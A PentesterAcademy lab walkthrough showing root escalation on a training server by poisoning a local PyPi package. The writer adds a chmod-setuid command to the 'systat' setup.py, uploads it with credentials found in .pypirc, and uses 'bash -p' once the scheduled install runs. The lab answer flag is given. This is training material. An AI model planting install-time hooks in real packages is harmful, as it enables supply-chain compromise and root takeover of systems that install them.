
ATTACK
DEFENSE
by PentesterAcademy

Name	PyPi Server: Malicious Package III
URL	https://www.attackdefense.com/challengedetails?cid=1064
Type	Code Repository : Python PyPi

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

You have terminal access to a low privileged user "student" on an Ubuntu server. The server is configured to use a local PyPi repository. The administrator has scheduled a script which installs "systat" python library, after every minute.

It is important to note here that the script will only install the package and NOT execute it.

Objective: Escalate to root and retrieve the flag!

Solution:

Step 1: Check the pip configuration files i.e. /etc/pip.conf and .pypirc

Command: cat /etc/pip.conf

```
student@attackdefense:~$
student@attackdefense:~$ cat /etc/pip.conf
[global]
index = http://192.159.32.3
index-url = http://192.159.32.3
trusted-host = 192.159.32.3
student@attackdefense:~$
```

Command: cat .pypirc

```
student@attackdefense:~$
student@attackdefense:~$ cat .pypirc
[distutils]
index-servers =
  local

[local]
repository=http://192.159.32.3
username=admin
password=welcome
student@attackdefense:~$
```

Step 2: Download the systat package from the server

Command: pip download systat

```
student@attackdefense:~$
student@attackdefense:~$ pip download systat
Collecting systat
  Downloading http://192.159.32.3/packages/systat-1.0.tar.gz
  Saved ./systat-1.0.tar.gz
Successfully downloaded systat
student@attackdefense:~$
```

Step 3: Extract the package

Command: tar -zxvf systat-1.0.tar.gz

```
student@attackdefense:~$
student@attackdefense:~$ tar -zxvf systat-1.0.tar.gz
systat-1.0/
systat-1.0/systat/
systat-1.0/systat/__init__.py
systat-1.0/systat/systat.py
systat-1.0/setup.py
systat-1.0/systat.egg-info/
systat-1.0/systat.egg-info/SOURCES.txt
systat-1.0/systat.egg-info/top_level.txt
systat-1.0/systat.egg-info/not-zip-safe
systat-1.0/systat.egg-info/dependency_links.txt
systat-1.0/systat.egg-info/PKG-INFO
systat-1.0/PKG-INFO
systat-1.0/setup.cfg
student@attackdefense:~$
```

Step 4: Change to extracted archive directory and list the files.

Commands:
cd systat-1.0
ls -l

```
student@attackdefense:~$
student@attackdefense:~$ cd systat-1.0
student@attackdefense:~/systat-1.0$ ls -l
total 20
-rw-r--r-- 1 student student  228 Jun  5 18:44 PKG-INFO
-rw-r--r-- 1 student student   59 Jun  5 18:44 setup.cfg
-rw-r--r-- 1 student student  300 Jun  5 18:31 setup.py
drwxr-xr-x 2 student student 4096 Jun  5 18:44 systat
drwxr-xr-x 2 student student 4096 Jun  5 18:44 systat.egg-info
student@attackdefense:~/systat-1.0$
```

Step 5: Check the setup.py. This file is used for installation.

Command: cat setup.py

```
student@attackdefense:~/systat-1.0$ cat setup.py
from setuptools import setup

setup(name='systat',
      version='1.0',
      description='Shows system stats',
      url='https://github.com/dummypackage/systat',
      author='Unknown',
      author_email='unknown@hotmail.com',
      license='MIT',
      packages=['systat'],
      zip_safe=False)
student@attackdefense:~/systat-1.0$
```

Step 6: Add a few lines of code which will set SETUID bit on /bin/bash on execution

Lines:
import os
os.system("chmod u+s /bin/bash")

```
student@attackdefense:~/systat-1.0$
student@attackdefense:~/systat-1.0$ cat setup.py
from setuptools import setup
import os

os.system("chmod u+s /bin/bash")
setup(name='systat',
      version='1.0',
      description='Shows system stats',
      url='https://github.com/dummypackage/systat',
      author='Unknown',
      author_email='unknown@hotmail.com',
      license='MIT',
      packages=['systat'],
      zip_safe=False)
student@attackdefense:~/systat-1.0$
```

Step 7: Upload the modified archive to PyPi server.

Command: python setup.py sdist register -r local upload -r local

```
student@attackdefense:~/systat-1.0$
student@attackdefense:~/systat-1.0$ python setup.py sdist register -r local upload -r local
chmod: changing permissions of '/bin/bash': Operation not permitted
running sdist
running egg_info
writing systat.egg-info/PKG-INFO
writing top-level names to systat.egg-info/top_level.txt
writing dependency_links to systat.egg-info/dependency_links.txt
reading manifest file 'systat.egg-info/SOURCES.txt'
writing manifest file 'systat.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md
```

Server response OK signifies the successful upload of the file.

```
creating dist
Creating tar archive
removing 'systat-1.0' (and everything under it)
running register
Registering systat to http://192.159.32.3
Server response (200): OK
running upload
Submitting dist/systat-1.0.tar.gz to http://192.159.32.3
Server response (200): OK
student@attackdefense:~/systat-1.0$
```

Step 8: Wait for 1 minute and then check the permissions of /bin/bash. The setuid bit is set.

Commands:
date
ls -l /bin/bash

```
student@attackdefense:~/systat-1.0$ date
Thu Jun  6 06:14:21 UTC 2019
student@attackdefense:~/systat-1.0$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1113504 Apr  4  2018 /bin/bash
student@attackdefense:~/systat-1.0$ date
Thu Jun  6 06:15:21 UTC 2019
student@attackdefense:~/systat-1.0$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr  4  2018 /bin/bash
student@attackdefense:~/systat-1.0$
```

Step 9: Retrieve the flag from home directory of root user.

Command:
bash -p
whoami
cat /root/flag.txt

```
student@attackdefense:~/systat-1.0$
student@attackdefense:~/systat-1.0$ bash -p
bash-4.4# whoami
root
bash-4.4# cat /root/flag.txt
64c1324fd279c43a446edb586122b310
bash-4.4#
```

Flag: 64c1324fd279c43a446edb586122b310

References:

1. pypi (https://pypi.org)
2. pip (https://pypi.org/project/pip/)